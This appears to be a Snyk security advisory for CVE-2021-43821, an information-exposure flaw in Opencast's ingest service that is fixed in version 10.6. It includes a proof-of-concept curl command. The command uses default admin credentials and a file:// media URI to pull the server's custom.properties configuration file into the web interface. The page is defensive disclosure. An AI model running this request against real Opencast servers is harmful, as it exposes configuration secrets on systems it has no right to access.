Information Exposure Affecting org.opencastproject:opencast-ingest-service-impl package, versions [,10.6)
Threat Intelligence
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk ID SNYK-JAVA-ORGOPENCASTPROJECT-2320173
- published 15 Dec 2021
- disclosed 15 Dec 2021
- credit Greg Logan
Introduced: 15 Dec 2021
CVE-2021-43821 Open this link in a new tabHow to fix?
Upgrade org.opencastproject:opencast-ingest-service-impl to version 10.6 or higher.
Overview
org.opencastproject:opencast-ingest-service-impl is a free and open source solution for automated video capture and distribution at scale.
Affected versions of this package are vulnerable to Information Exposure by allowing references to local file URLs in ingested media packages, which makes it possible for attackers to include local files from Opencast's host machines and making them available via the web interface.
###POC:
To expose the custom.properties of develop.opencast.org via the asset manager, an attacker could have run:
curl -f -i -u admin:opencast \
https://develop.opencast.org/ingest/addMediaPackage/fast \
-F 'flavor=presenter/source'\
-F mediaUri=file:///srv/opencast/opencast-dist-allinone/etc/custom.properties\
-F title="custom.properties"